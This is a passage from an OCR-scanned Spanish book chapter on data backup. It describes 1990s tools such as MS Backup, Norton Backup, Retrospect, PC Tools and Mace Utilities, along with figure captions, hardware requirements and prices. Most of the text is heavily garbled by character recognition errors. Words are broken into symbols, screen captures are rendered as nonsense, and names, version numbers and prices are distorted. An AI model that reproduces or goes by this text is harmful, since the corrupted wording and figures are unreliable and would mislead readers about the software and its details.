con las nuev¡¡s no pueden ser reconocidos por los .mtcriores, 
así que si usted resp.lld<lb.l la inform<~ción en una computa­
dora con sistema oper<~tivo -l.O y luego la quería rcsttlb]ccer 
en !J suya con sistem<1 3 3, nunc<1 lo logrMÍil. 

Con !.:1 vers1ón 6.22 de Id S Boá11p, por t..•l momento, se pue­
den res\,lhlecer tod.1s l,ls copiilS de segund.1d que ~e hily,m ge­
ner,ldo con \'er~iones .mtcriort..'S de MS Hackz1p. MS Back11p se 
prcsenl<l en \'erswnt..'S pilril IXJS, i\1SBACKUP y p.lra \VinJmvs, 
MWBACKUP, t..¡ u e ilunquc pe11111ten l.1s lll!Slllíl.S upcioncs, in­
dudélblcmentc !.1 de \Vindo\' .. 'S es mJs .1grod,1ble t1 !<1 vislil. 

Este progr<tma de resp<1ldo sóhl tr.lbilj<l con disquetl.'s, o 
con algun<1 unidad que l.'! sJslema oper.lti\'O pueda reconocer 

Figuro 7.3 
Pantalla de 
configuración 
de MSBackup 
poza DOS que 
aparece la 
prlmeza vez que 
se ejecuta el 
progzama. 

Figura 7.4 
Pantalla 
pzlnclpol de MS 
Backuppara 
Wlndows. donde 
se muestzan los 
opciones de 
respaldo. 
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mcdi<lnil' u11.l ll'lr.l o,¡ tJ,l\'é~ dt..•l Coln,lnd~.J Pt\Tl-1, L!Hllll e·~ 
unid01d mJ~ del SJS!elll.l CPilHl ~11 pmgt•Jl¡for, Ntll/cl/1 HriC; ·-: 
MS fJo(kup coniHllll' 1.1 m •. l)"llfÍ,I de !.1~ funcH_Jllt..':' d~· .hjt:~: 
como cum~1fL':--iún dt• .Hdl!\'OS, .'>ek~.·c¡nn de d 1 rectnru 1:-- ~ <! • 
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Figura 7.5 
Pan folla 
principal de MS 
Backup 
corriendo sobre 
ambiente DOS. 

ch 1,·os a respi1ld.lJ, Jll'll}-;f·llll.lCJón de JL'Sp.lldos y ll\r.ls, pL·r~l 
obvialllL'llle, como \'L'rSJÚll Jecort.Jd,l, prl'SL·nt.l .llhun.b lJilli­
IílniL'S qul.' se notan cu.1ndn ustL'd y.1 ha utili;_,¡do al¡..;t'lll tltro 

progrJ!ll,l m.ís r.lpido y dJcil'nk 

Cada vez que se h.lCc ur~ resptddo con el progr.una ~~·15 Hot-­
kiiJ', -,1] igu.¡\ que con Nor/1JJI Bot~kup-, se .c.Je,ln <ln::hl\'OS dL: 
cJLí.lngo en los cu;-¡]es se guarda mform.tcwn rd~rl.'nle _.1 lu~ 
archl\'OS que h.m sido CllpiJdos: cstructura.dd Lhrectorhl de 
resp<1ldo, nombre de los archi,·os y dmxtorws q~ll:' s~_res~-.ai­
J;¡n mclu\'L'ildO .ttribuhlS \' t;¡m,lJlu, fecha de n:ali.t..1Cilll1, tot.1l 
d~ ;rchn·¿s resp;,ld<~dos, t;,~n.li"'o tot.1l dL' la cop~o1 de segur~d.HL 
<JSÍ como d nombre dl'l <~rchinl de rL'Sp.lldo que se cntpiL:n. 

El nnmbrc que SL' .1signa de furrn.l ;wlomJtica .ti tlfdll\'(l dl' 
c.ll.'l.ltl)SO, .lp<HL'Il!t:llll'lliC ~L' \'L' cnmplic.Jdn d: entender, p~lL'S 
p<Ht..:CL' que lns c.lracten:s que p.:n.1 L·llo ~~ utd!l:.lll ~on_ ~~L'":>tt-:­
nadns ;~h~.tlot i;HllL'llll', PL't(l en realidad IIL'lll'll un Slt,nllu.:.ldll 
m u\' c],l/{l que se ,tn.liJJ.,l L'll':>L');uid.t p.H.l elnnmbtL·· 

Las dos pnnll~r.l~ leu·.ts t¡ue illrlll.lll L'l nontbn~ indican 1.1 
primer<l y l.ltíltim.ltlllid.td rc':>p.tld;Jd.ts Et~ el L'JL'lllpln, l.1s k•­
tr.1s serÍ<lll L y])· CJJ -st en L'l l'L'~p.tldn Sldn se tndu~'L'll .11-

Figura 7.6 
MSBackup 
muestra los 
archivos de 
respaldo que se 
van generando 
y canstlluyen el 
católogo de 
coplas de 
seguridad. 
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chi\'O':> v directorios tk• una so],¡ unid.td, la IL'Ir.1 lk esa uni­
dad se Culocar.í dtlS \'l!CL'S-. El primer car<Ícter nunH!rico que 
aparece corresponde alliltimO dígito del.li1o; cl-t en este c.1sn 
repn:'SL'IliJ ,, 199-t Los siguientes cuatro números 1ndican el 
mes y día, respecli\'.llllL'llit..', o se.l 20 <.k oclubn.•, y por último 
laletr.1 A indica que se tr.tt.:l del primer resp<tldo hecho en esa 
fcch<~ p.ua esas unid,1des, si fuer;J L'i segundo 1.1 letr.1 scrí.1 U 
y así sucesivamente hilsta 1.1 Z. 

La c\tensiún del í\rchl\'<l indica L'l tipL) de copia de segun­
dad que se h1zu: fUL (CompiL'I.l), INC (lncremenl.ll) o Dlf 
{Diferencial). En el ejemplo se tr.11a de un respaldo completo. 

L<Js principales ventajas de utilizM A !S Ht~tkiiJI son: que SL' 
puede comprinur 1.1 infornlilCión I"L'Spald.ld,J, se pueden venf¡­
car los d,Jtos comp.n.mdo lo copt.ld<l con L'l nrigin,1/, SL' puedl'n 
protL•ger las cop1.1S de segundad Js¡gn;lndnks contr.1seil.1s 
{Passwords), ptc\•iene cuando SL' JlltJoducc un dJSl]llL'IC C(m 
datos, y puede concgir posibles e1 rores L'll los disqul'les uti­
liz.ldos p.lrillíls copi<ts de sey,wid.1d. 

Las cnpiilS de SL'gund.td que ~L' h.lCCJl LOll Al S Hackllp se 
pueden rc~tnur,lf L'll dl\•ersns lugares: en di!·c,entcs_dirccto­
rios, en diferentes unid.Hks n L'll ],ts ubtcannnes ungmales. 
La mfonn.1ción JC~t.wro~d.J IL'ndr.íl.l rnJs!ll.l estructur;¡ que la 
orig 111,1l, .1unque usiL'd puede C<lllliJl,lt el nombre a cual­
quier.:~ de los d'lcctuJwS. 
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Figuro 7.7 
Pantalla que 
previene 
cuando se 
1ntroduce un 
dtsquete que 
conllene dolos. 
poro realizar el 
respaldo. 

Figura 7.8 
Al hacer lo 
restauración de 
los datos 
respaldados se 
cuenta con tres 
opciones para 
seleccionar la 
posición linal. 

H.l inscrlddo un disco que conltcne 
diro::torios y ut::hiuos Y.' t:•istcntes. 

Wesea Sobrcscr1bir est~ disco, 
o Relntenldr us~ndo otro disco? 

---------Lista parct41 Archiuos ---------

DIRIJOTl <DIR> 

~~~~~~~¡=~-:111] Ublcachmcs originales 
( J Otras uuidadcs 
( ) Otros director LOS 

1\touniJ.in ·1:1peWJ.re versión -l. l. l'tngr,Hn,J de lL'::.f1.1l~hl 
dl.' AltLI/11/illl/ N!'ltt•otk :;~~fui ron:> /u(., quL' ¡wrnllll' IL'~p;-~[d;¡r lll­

fnrm.lcit\n l'll IL'd1~~ cun st~tem,l opL'r.1\I\'O dl.' Nnvl'll Sus 
ptL'Si.lCH)I)l'S ~~~n L',Ll'IL'nll'~ y L'll L.lrnbin In~ ll't]IIL'rl\llll'ntP:. 

Figuro 7.9 
Pantalla 
principal de 
Norlon Backup 
versión 2.2. 
donde se 
muestran las 
avanzadas 
opciones de 
respaldo con 
que cuenta. 
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de CC]Uipo son módrc<ls, el ~en idor llL'LeSrt.t512 kB dl.' tnt.'nw­
ria RA!\1 y 38-l Jdicum.JIL's p.lr,\ c.td,\ unrd.1d til.' cint.l, !\:etWJ­
re 3.11 o posterior, y únicall":l'nte 2 ~·~ B dL' l'~p.tcio disponible 
en el d1sco duro El precio dl.' 11::-.t.l p.u.J 5 ll!:-U;trll)S L'~ de 299 

_dóbres, y h.lSI.J 250 terrnin,l!es CliL'SI;t 1 ú9Y dóbres. 
Nctwork Archivist vcrsiún 3.0. Autom<ÍttCílmenle, esk 

progríllll<l de l'íllindnllllL' Ctllfl, Lfl'íl ltlS re::-.p.1ldos de lus d.t­
tosenredes, bo1s.1do L'll L'i .1!goritnw de ],r lime de Hanui que 
se utiltztl pnnww en minicomput,lllnr.lS y en lllJtPfr<trne, lo 
que proporcion,l .llusu<trio un.l .~r,m confian;a en l.-. trJnsrn¡­
siún de d.lltlS y resguardo dt.: ¡rlformJcit'lll. El¡lrecio del rnú­
dulo pnncip<tl L'S de 1 695 d,)]:rrL'S y ~us requerimrl'nlos de 
equipo son realmente <lCL'JllJbks, ~MH dL' menwrr.1 l~A.\1 
pJr,l el ::-.L'l"\'Hior y 512enlas L'::ot.KÍOllL'S, Net\V.lrl' ~' n poste­
rior y DOS 2.\. o supcnnr p.rra bs IL'rminales 

Norlon Hackup versión 2.2 Ntli/¡l/1 HackuJ' c~t.í cnn..;ide­
rado como uno de los mejores p¡ogr.Hn.b dL· •e~p.1ldo p.H.l 
usuarios cst<Índar, y lcgt.'nd,ni,lllll'llle el que marc<t lo1s tcn­
denci,ts y no\·cd.tdes en cuanto íl Cllf1ii1S de St~gurid.td, no en 
vano Microsoft tomó cst.l IL'cnnlogí.-. ptH.l nflt'lL'I !.1 ,¡los mi­
llones de O)JlSlllllÍdores del sis1L'm.1 nper,lli\'O !\lS DOS. 

Adm.nosuad<>r dt ~~jNorlon 1!~/Sdlcdutc•]_ 
érchiYO Qp~•oncs Ycnlana Ay,!!_~_• __ 

~NORTON 
BACKUP 
v.,.,..,n 1? 

C1 C<>t>l'f<vN Uuru Dr.clufl.,.,n<l o"'"'"ht>n ~~~~ 
P><l.l!l""d hr s,......,,.,~ ( UII>Oidh"n 

Argnlc<<-d lo 
LDNI'ALD 11 Al(( )'ilA fflllll S 
Alf...OWI t.ll GlllJI'O 10111111 

r,..., w., .. .,,, G liD~ 

''"~u~"""'""' tltl 

Con un precio de ]Jsta de 1-l~ dúli1res, este pwgramJ de 
Syllllllllt'c CtH}I, se t1re~ent<:t en dos modaliLbdcs ~1;a,1 DOS y 
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Figuro 7.10 
Usted puede 
seleccionar las 
unidades que 
desea respaldar 
y el medio de 
destino de la 
copla de 
seguridad. 

Figuro 7.11 
Al seleccionar 
una unidad, 
deberó decidir 
qué directorios y 
archivos se van 
o enviara ro 
copla de 
respaldo. 

AdrnulrSir~dor d~ programas ·!Nunun lladup/Slh~dulcrJ . ' 
Qpcro11cs Vcnlana Ay..,da 

101<" focell ... •onD.,veC 

II••"P !o 

\ P:fl A 1 44 .. b lit" 

O¡,¡,, [O brtorjrolcolcd loo b~c•~o 

para \Vindows. Como el programa utdtza dircct mcmory ac­
cess (DMA), es un 150% m,ls r.í.pido que MS Back11p y adem<Ís 
reconoce unid<1dcs de respaldo en cinta con los estándares 
QIC-40 y QIC-80, y unidadL'S que utilicen controladores de 

Admlnrsl•~dor de P~\!ramn -l~~p/Scludulcr 
• Archivo Qpcroocs Ycnlana Ay11da 

r 
1 

i Figuro 7.12 
Con la opcrón 
Configure se 
selecciona el 
nivel del 
programa y se 
Jnlcian las 
pruebas del 
sistema para 
determinar un 
ambiente 
propicio para 
lograr mejores 
copias de 
seguridad 

Figuro 7.13 
Lo prueba de 
compatibilidad 
de respaldo· 
verifica que 
exista 
congruencia 
entre el disco 
duro y las 
unidades de 
disquetes para 
evitar la pérdida 
de datos al 
momento de la 
t1ansfe1encJo. 
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A~n11r11Sir~dor de pro\l~JNonon D~dup/SdrcdulcrJ 
Opcraooes Vrnl~na Ay\lda ----

llr~ lunr¡ralr~rlrry res! lor lloppy dr~~• has 1101 be en 
(lertorrrred on ll11s svsrern llelralrle lrftüup• carmul 
lre Qllala•rrecd unrrl ll>e ~orrrpalr~rlrry les! os corro~lcled 
surrrs•Lullv ., 

alt.a velo~id.1d, ¡)ero dc:.;,l(o, tunad,unl!nle nu mdu\ L' l'l m,¡-
ne¡o Jc d!spnsJti\'Lh SCSI. ' 

~rilci,¡s a que.crc,l 1111 L''lL•nso cal.ílngo dL' los .ncll!vos, 
ll!lld<ldL'S y Subdlll.'L'!Ot!OS ljl!L' \',1 l'l'Spafd.lndn, pth'dl' ¡ 1•sl,l-

' 

' ¡ 
l. 

! 
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Figura 7.14 
En esto pantalla 
de Norton 
Desktopse 
mueslra el 
catálogo 
maestro que 
crea Norton 
Bockup. 

. :·,· 
,-,. ... . '. 
•·'•h· ;'e:. ', 
;_~: 
.::o.~ 

·~~ ·.·. 
,.;.;,-

;{!} -. 
"'• 
:•: 

blecer mform,Kiún desde disquetes o cini<Js, .wnque lllltl de 
cl1<1s ~L' h<~y.l d.ul..ldo; u~IL'd rccupcr3riÍ los datos de los de­
mfis n.>sp.:-ddos, COS<l que la mayoría de los prngr<~rnas no h.l­

ccn GcncrJinwntc si se donlíl Ulll) de los d•squL'tL'S se pa.-rdc 
tuda la copi<l de ~cgurid.1d 

El programa Norton Dl'sktnp l.l!nbu.?n ofrece la utilidad Jc 
resp<aldo en el mismo paquL'Il', cosa LJUL' In hace muy intcrc­
saniL', porque por el mismo precio usted obtiene lll.lnej.tdor 
de discos, herr<unient.ls bJsicas y ,1\',lnZ,ldíls de escritonn y !,1 
posibdid.1d de rcaliz<H sus cnpi.1s de lCSp<~ldo sin tener quL' 
cmnpr01r un nue\·o programa 

PC-FullbJck +. Progra111<1 para respílldo de discos, dL'S·l· 
rrollado por \VJ:STI.AI\[ Dntn Corp. i{cqu¡c¡e 256 kU de me· 
nwriil RAl\1, unidJ.d de d1sco fl~x,ble y disco f1jo o dufll_ 
Re.lliZJ. los rl"~paldns con r<1p1dcz, y .Hfemjs pL'rmite rest.lll­
rar v moddJc.H 1.1 infnnn.tnún 

Retrospect. Software de Dan!: /)¡•¡•dop1111'tll CHf'., quL' 
mantiene en nrden los .Hchin1s y los fL'Sp.lldns, y tiL'IlL' c.tp.t­
cidad p.1r.1 JL'~p.tldar d.JttlS de rede~ en unid,JdL'S ú¡1t1L\b, L'll 
cinta o en d1scus du1os dL' )!,fólll c.tp.tciti<ld_ OfrL'Cl' npcilliH~S 
de resp.1ldu ¡wtomjt¡co prngr.un.1do en lwr.~~ )' ft•ch.ts delt!J­
minJd<Js, comp!e~Jón de Jrchivü~ y prott•cciún ~1or medio de 
cl.t\·es n cnptogr.mt.b. 
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SilvcrLining. Pwgr.1ma dt!S,Jrrolladu por ft~Ctt' p.u.1 S!S­
IL'm.ls ~\lacmto~h, con un prt.!C!O de (¡l) tJ5 dól.irL'S RL'qUIL're 
512 kB )'sus funnones princip.1ks son forilli1teo, instJiacJón 
y partiCJuJl,llllJL'Illo tkl d1~co duru con prutL'CC!Ún ,¡ c.:Hf<l par­
tición pnr metho de Li.l\'L'S u etllllr.lS<.!rl,JS ( p<~::-.swords), !lpti­
IllJL.lCH.lll de disco..; y desfr.1glllL'lllaca·lll de :~rchi,·os. 

7.4 Programas de ulilerías 

Estos P' ngram.b, .nim]IIL' no Sllll p1 (l~1J,lll1L'nte p:~r,¡ n..'sp;ildo de 
iniormaclún, J,¡ incluyen como un,¡ opci1.lll o perm1ten cup¡;¡r 
¡¡ rchn·o~ y d lfL'Ctorios Cn.!.1nd,) p1 llpl;lmt•n te copic1s de seg u ri­
dc1d que pueden ser ¡'ltilL'S ~1.11',1 quien no necesit,¡ de pwgr.l· 

míls y eqwpns L'Spl'Cii1les, porquL' -'>ll producción de .1rchivos 
es muy reducid.1. Otros permiiL'Il optimiL.H e luso de los ths­
cos y de hlS ~istem,¡s de JL':-.p:~ldu, nwnitnrc.1ndo J¡¡ mcmon.1 
o revis:~ndo los di~cos p.1r.1 d~_•8fl .lgmeni.Jr los ,JrchJ\'O.S. Los 
sigUientes son ]!lS m.ís conucid,JS: 

B.1ker's Dozen, \L'r.'>il.lll 1 O. illlflcJII lV11/t' plL'SL'lll<l este 
program,l p.Hól rl'cupcr.lCJÚ!l de <Jrchi\'OS borr.1dos cnn pre­
.'>ent.lciúnenla p.lnt;JII.l de los ::-.eCtllfL'S que se L'SI.ín intcgJ.lll· 
do al.1rdli\'U recuper.1do. 

Adem<Í~ incluye utr.1s car,1cterístic.1s rnuy especiales. Una 
de l.1s m.ls lÍtiles pL'fllliiL' 1.1 modd!C,lción y reslt!Uf<IC!Óil de 1.1 
t<1bi..I de asignacu)n de Mchivos (File t\llnc;¡twn T<1blc, Fr\T), 
lo cual hace pu-'>Jble segui1 las cadenas de 1.1s guías en es.1 t<~­
bla, hacia adel<~nte y h<1ci.1 .1trjs. 

Incluye la funci()n de búsqued,l de c.ulenas de te~ lo en for­
mato ASCII, un.1 pequ~.·,la huj,l de etíkulu cnn funciones tri­
gonométncas y fnl<1!1Ci('r<1s ;1\';lllz.lJ<Js, c.tk'nd.uio y v.uios 
módulos residentes en memoria p.ua c.1ptura tk p<mlall.ls, 
impresión horiLontal de l.ts hoj.l.s de c,'ilculo y dmxciona­
mienlo de nnprL'.SHli1L'S .1 arc\nvos_ 

CJnOpener. Es un programa des.tnollado por Abbott Sys­
lt'IIIS 1 nc., muy eficiente pMa rL'cupertlf ,11 chivos d.Hlados tl cuan­
do se busc.1 LlllO l'Specíhco .·ntre muchos .Jrchivns. Penmte Jbnr 
o mir.1r los archivo~ que pleSt'nt.lll algl111 pwblcnu cuando 
sc inlt'nt.J leerlos del d1sco y verlos en la pant.tll.l, lo que pue­
de deberse" defectos L'll !.1 sup~.·rfiCie del di::.co o a l'nnre.s ~.·n 
la t.1bb cit.' .lSJgn<KH.l/1 de .1rdti\'OS. ~luestr.1 ]~)S :nchivos en 
sus form,1tus orig111.1ks, se.1n de k.\ lo, ¡mjgl'nl'~ P ~onidns, lo 
que penmte loc.tliztlflos, por su l:Onh:nido, muy f.ícJ!m,~nk. 

Check-H. Sistem.1 de di<~gnóstico prufesJOn.ll par,1 L'qui­
pos de cómpu tu, desarrollado por 'f(n¡cfiStollt' Sojtw111 t' Cll JIO· 



200 Respaldo de datos 

ra/ivn, que dctccl<l con grt~n preCISIÓn cualguier problema en 
la computador.1. Este p<tqul'tc c~csarrollado p<1ra equipos 
IBM y compatibles permite lc1 venf¡c,lCIÓn del sistcmJ. com­
pleto, desde la tarjeta m<1drc (mothcr bonrd), !<1 memoria y 
los ch1ps Je ROr--·1, hast¡¡ Jos equipos pcnféncos y los (ilsposi­
tivos de entr<1da o salida (disquetes, discos duros, tar¡eta de 
video y momtor, r<1tón, nnpresnr<~s, etc Presenta unJ sen e de 
Informes sobre el estado del sistem<~ completo, y rcqmcre 256 kl3 
de mcmori.1 ]~¡\~1 
CUBil~ Program<1 par,l compactación de .nchivos desa­

rrollado por SoftLostc Sol!llious, que permite redunr elespi.l­
no para almacentunicnto de mforrn<1cilln h<1~t.1 en un SO'X,. Es 
e<lpJz de compt~cli.lr <Jrchivus de proces<Jdores de textos en 
sus form.1tos origm<Jles o como cadenas de cnactcrcs ASCII, 
archivos dl' datos de hops de dlculo, códigos de programas 
y arch1vns de gráf1cos e m1ágenes. 

DiskLock. Progr;1ma p.ua protecciÓn de archivos de Fifth 
Gcncrn/10/l Sysft'/115, con precio de hsta de 18Y dólnres. Protege 
nrchivos de datos LL)JÜJLh.'nci,lkS o d1scos duros completos, 
contr<~.las miraLhs de usua1ins 111thscretos. Sólo deja entrar al 
sistcm.1 a los usu.nJOS <1utonz,1dos. Permite crc,u niveles de 
protección y proporcitlll.l una cl.n·c maestra p.Hi1 el acceso a 
todos los nrchl\'OS. 

Disk Optimizer VNSión 4.0 P.1qudc de program<~.s de Sofi­
Logic SoluiWIIS, que JL'l]lllefl'll L'i sJs!L'm.l operatJ\'O 2.1 o pos­
terior; .1horn con soporte p.Ha la versión--lO del DOS. Cu.-.ndo 
se util!z.1n constantemcntt: los discos p.u.-. grab.1r y borrar in­
formación, ello hace que los archivos se fri1gmentcn haciendo 
más lento t:-1 i.1cccso a los datos y, .1 veces, Ci1US<1 el dcsahnea­
m¡ento de ],lS cabczi1~ de lecturi1/gri1bac1Óll, debido a I.J so­
brecarga de tr.1bajo. Esto puede ocasionar di1fHls físicos en I<J 
supcdJCJC del d1sco y consecuentemente a !J información que 
se encuentre <~lojada en los :->ectores que h<~n s1do d.1f1<1dos. 

D1sk OpllniL.:cr penmte desfr,1gmcnt<1r rápidi1mente lns <JJ"­

chl\'OS de datos, \'e1if1cando b integritbd de la nueva cop1.1, 
y solamente en eso2 momento procede a borr.1r el archÍ\'O 
fr<~gmcntado. Otr,1s de sus funCJnnes prmcip.lil'S son: UnFor­
mat, que permi!c restJbleccr ,1 su esti1do origin<ll el dtsco guc ha 
sido form<~le<tdo, sin detenom de los d<Jtos, Tr.lckS.J\'t.'r, p<tr.l 
protección de las ptslas del thsco, el cual C\'J\<1 gue !,1 c1be..:.1 
glfe sobre la misma p1sta por mucho t1empo, etc. Como pro­
moción, se ofrece con el <~ntivirus DatJ. Cuardi.-.n 1!1cltndo. 

F.astTrax. Es un progr.1Jn,l dl.'S<trrullado por Hri.("\t'!l'ilY Pri­
/Jlis!IIJJS Co. Regu1erc 256 kB de memori<1 Ri\t\1 y el SJS!emil 
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opcr<ttivo DOS 2 O o postenor. E" una utdtdJ.d p<tra compJ.c­
tacJón y dcsfr.::¡gment;Jción dl-' archi\·os o d1scos duros com­
pletos, que incluye un<l serie de car,lcterístici1s gue la hacen 
diferente y de me¡or calidild que sus compl'l!dOr<~s, entre 
ellas. algoritmo de CDillpílct.lctón de lllfonnacJón <1 <~Ita \'Clo­
ciLbd, \ etific.Jción de datos L'll tres niveles, creJ.ción de L'Xpe­
dientes de prnccdimJL'nto, y ordenamiento de los <JrchJvos en 
IJ.s 111ism<1S pist.ls y sectores -cu.1ndu Sl'<l pos1ble-. 

F,1tCat. I'rogr<~ma par<1 adrninistracJón de <trchn·os y dis­
co~ desarrollado por StUH_tlSIC, rnuy ll!J! par.1 llev<~r un con­
trol de directmins y ::-ubdirL•ctoJ in~, los cu.1lcs se C.:ltaloganenun 
list<1do con cap<1cidad p.1r.1 trL'illt<l y c1nco car,lcteres que per­
mJicn <~notar nombre y descnpciún lnc'luye opciones como 
la recuperaciÓn de .nchJ\'OS burr.1dos o d,lJladns, protccnón 
de nrchi\'nS por medio de ci.l\'l'5 (pass\\'ords), optirnJ.t:<~ción 
de los discos desfr,lgmcnti1ndo los ;nch1vo~, compresión de 
mfnrm<1ción, v c1tL1S. 

Lo tus Mag~ll.lll versión 2.0 Lo/u:> IJc·udopnlt'llf Corp prc­
scnli1 este progri11ll,l de util!tbdL'S, que 11ermill' buscar, \'er y 
cdit.Jr ,lfciuvos en n\digo ASCII o en formatos corno Quattro, 
Pélr,¡dn\., E\.cel, etc., recuper.n tnfnlrllacit'Jn borríld.l \' com­
pri rlll r ílrchl ,-os Zll ', los cu.1le~ puede busc,u, e:-.hibn· o'tmpn­
mir aun ya compact.llios con í:IP Su módulo Ver1fy explora y 
comp.H.l lns indJc.ldorcs c,1r.1cterísticos de lo~ ,uchi\'oS, per­
rmtJemlo detectZJr J.¡ presennZI de ,llgt"Jn \'11"\IS 

Mace Utilitics. Progr<JJll,l de u!JhcLllles de Fi(tf¡ Gcnern­
fhm Sy~lt'/11~. Requiere 256 kB de J{Ai\·1 y el ':il.':<temJ. oper.1tivo 
PC/f\·15-DOS 2.0 o posterior. Incluye 25 módulos de uti!Jd,l­
des que SÍJ\'l'n p.n;:¡ nptlllliz.u y mantener en buenas condi­
ciones el d1sco duro, y p<~ra J"l'Lllj1L'f<ll archi\'US borrJdos o 
dañados; crea un,l cop1;:¡ de los ¡-¡rcht\'O:-> que ~e est.-ín rl'Sfi1U­
rando en otro disco, por lo que SI -"L' tiCllL'n p10blemas con el 
i1rchi\'O recupL'r;Jdu ~l.' puede p.HtJr de!;:¡ ClJ~)J,l pa¡;:¡ tr.lt,ude 
hacer l.1 rest<~uraciónen forrn.1 lllílllll<ll 

Est<~ lllll'\'.1 ve1 sión dt.! M.1ce UtllltJeS ha tncorporado mcjo­
fi1S como l<t rest.ltJraciún Lk 1.1 L1bl.1 Lk <1sign.1c1Óll de .ucht­
vos, recuper,lCil)n autom.ltic,l Je los .uclll\'OS borr<~dos, 
proteccilln de mfllflll;JCJ{m por nwd10 dl~ cl,l\'L'S de acceso y 
una rutina de protecciún contr,l \'trus Otr.l de sus nue\ ,lS uti­
lid.ldes PL'rnll!e rdnrrn.l!c,lr d1squetes o di.':<COS du1os sin d.l­
Jl.ar b informi1ción cont~·nid.l en ellos 

MUSE.EXE, l'S un L'dllur de .':<L'clores que muL•stri1 L'l cnntem­
do de Listos en furm.1tos ASCII y hc.\adecimal 'J:1mbJl>n !JL'lle b 
opción ~1ar,1 Of1!ÍJ11JZ,1r los discos dcsfragnwnt¡¡ndo los i1rchivos 
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f\.1JcTools D~luxc Es un prnhr,lmil dl' C•¡¡fwl Po111f StV-1-
warc pa1a los ~Istem,ls i\lacinto~h, que penmll' 1.1 recupl'ra­
ciún de arciH\·os borrados con lt~ posibilu.i.ld de \'ISUiliiZ.u el 
prucl'dimiento. \'¡ene además con protección de disco::;, rccu­
per<~ciún dé información ~._·n discos ~fu ros, aun c.l~ando h<1ya~1 
sufrido algün díliio, resp<1ldo de discos, seleccum dl' mult¡­
plt!S .uchivos l'll p;1ntallu, compr12sión o compactación de <H­

chi\'llS, p.1rticioncs y optimización de discos duws, mupeo en 
color, protección de archi\'OS por ml'dio de cl.wes, cop1as r.í­
pid~s de d1scos flexibles y manejo de archivos. Tiene otr.1s 
funnones, entre ell.1s rutinas de l.!scritoml. 

PC Tnols De luxe versión 8.0. Este producto, que prcsentil 
Ccnlmf Poinf Sojtrmn! por 179 dólares, es Uil.l de l.ls herr.l­
IlliCiltas m.ís utdiz¡¡das p<~ra el control, n1;111ejo, optimiz.l­
Ción, desfr.1gmentación y restiluraCión de ilrchivos, la cu<1l 
tambit!n permite \'isut~lizar los sectores de los discos en for­
matos hexadecimal o ASCII, y ademí.'ls incluye una seri~..• de 
opciones que f,lctlitan la operación de lus comandos del sis­
tema oper.ll i vo. 

La mayoría de las lllL'noonadas característic.1s se k cont_l­
ccn desde sus .-.nteriores versiones, pero <1 partir de la S se diO 
un giro completo, convlftiéndnlo en un paquete integrado ck 
util iJ adl'S de disco L<1 versión .J. se incluía en un solo disco de 
360 kB, la 6 necesitt:~bil-1 discos de la rn1sma densidad, pero ha 
crecido, de tal maner.1 llUC ésta ocupa 6 discus de .tlt,J densi­
dad Este crecimiento tan sustancial del paquete se debe, 
principalmente, a li1 inclu:;ión del programa Po/y Wi11d~Hu:' de 
Poly/1011, el cu.1l fue modificado de acuerdo a las necesidades 
espccífic,ls de Ct'llfral Po111f Softlml:c. . 

La nueva versión sigue ten¡endo program<~s Inde­
pendientes como Cc11tral Po111t Bnckup, p.Ha respaldo de in­
formación; PC-Cncll~, para act!lcrar los t:~cccsos a d1sco, 
alm.lccn¡¡ndo en 1ct memoria los datos usados más r¡_>nente­
mente; PC-Forlllllf, para el formateo de discos con verificil­
ción de sectores y \'clocid.1d superior a la del comando 
Formal del Sistem<l nper.1t1vo DOS; PC-Sc!llp, para !.1 instal,l­
ción en el diSCo duro de PC Ti.10l::>; Comprcss, desfr.IgmL'ntador 
de ¡Jrchivos; Mnror, que h<KC un.1 copia de la 1.1bla de asJgn.J­
ción de <Jrchi\'OS v 1.1 guarda l~ll un archivo ocuilo; l~l'lnlild, 
que restaur.J la t;1hl.1 de ;1signaca'm de <lrchl\·os a p.1rtir del 
Jrchivu creado por Miuor, y otros. 

Al program<~ princip.1l de l'C ·¡ools se le h;1 cambiado el 
nombre por d de l'C 'IC.Jols Desklop, y es el que control<~ tud<ts 
l<~s operaciones tales como copiar, borrar, comp<~rar, buscar, 

Figura 7.15 
Pantano 
principal de PC 
Tools Desde el 
Desktop se 
pueden ejecutar 
la mayorio de las 
opciones del 
programa. 
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ordcn.H, \ cnfK,lr, inrci.1lizar, etc Permitl' L'JL'Cl!Llr otros pru­
gram,ls o .lpliCVHli1L'S L'n su t'niorno, <1~Í Ctllllo \·r:-u.lll/.H dl•::. 
vent;Jnil~ Ctl!l dill'rl'ntes directorios, y las cnr rl'Sf.'~nndiL'llll'S 
\'Cilt,HlilS dL' ,Hchl\'tlS 

Q DOS 3. Es un progr;¡ma de GazL'llc S) ~lt'lli.S que, .11111-

c¡uc no 1.111 conoCido como Not!OII Conullillltlt'l o f>C ·f(¡of:-, lun· 
cion,J dL' m.lf.lvrl\,¡ para manepr ilrchi\'OS, C.llllbr.H .ltriht!tPS, 
renombrar ,lfchi\'l)S y p.1ra los lines de L'Ste c<~pítulll -h,h"t•r 
archi \'OS dL' rl's paldo- ofrece 1 a posib il ilbd d ~ copi.1 r d ¡¡ t'C tu­
ríos compktos lkt disco fijo o duro <1 disqul!les, copi.mdo ín­
tegros los suhdi!L'Ctorios y creí.'lndolos de b mism.Jlll;lllL'J",l L'n 
los disquetes lk rt'Spilldo. Un progr01ma quL' recoJllL'!ld.!llWS 
a mpiiarnenil'. 

QJ{Ai\1. Es llll progrum.l optimizador r dL' ltllllflli de 1.1 
memtnia f{A:\1, des,urolludo por Quallcnft·ck Funnun.1 en 
L'ljuipos PC-XT n AT, con nucropron.'~.ldorL'::. ~tlSS, ,S(l~(J tl 
8028fl, .wnquL' t,llllbit'n existen versiom's del pit~gr.lm.l fl,ll,l 

el PS/2 de IB~1u t1lros equipos con micropnlLl": ... ldllrt-\OJ:-\ll o 
ptlSIL'rinres 

QI<Ai'l.lt'S un P·h]ul'le de utllidath~s qul' p~t1pPrCHlll.l Ltlll­
trol llll,ll ~ub11-' 1.1 111l'IHOria RAt-.·1. Cuando ~t! tietlL'll ltl'l,ll.l­
das I,Hjt'l.lS dL' lllL'Illllritl EMS 4.0 o EEl\IS, QR1\~I conlrtll,l !.1 
p;Jrlc ollt.l dt.• l,¡ llll'llltJrl,l, permitiendo SU llltlf1t•t 1 r\hÍ SL')lliL'~ 
den c.ng:11 <lrchi\'os I\UTOEXEC.BAT y CUNFIC SY~ .. l:'i 
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como los datos de los progrflmas residentes en memoria (Ter­
minJLe .1nd Sta y Rcstdent, TSI~, y l<nllbu~n los de periféricos 
com<:> controlador~s de discos (disk drivcs). redes, ratón y los 
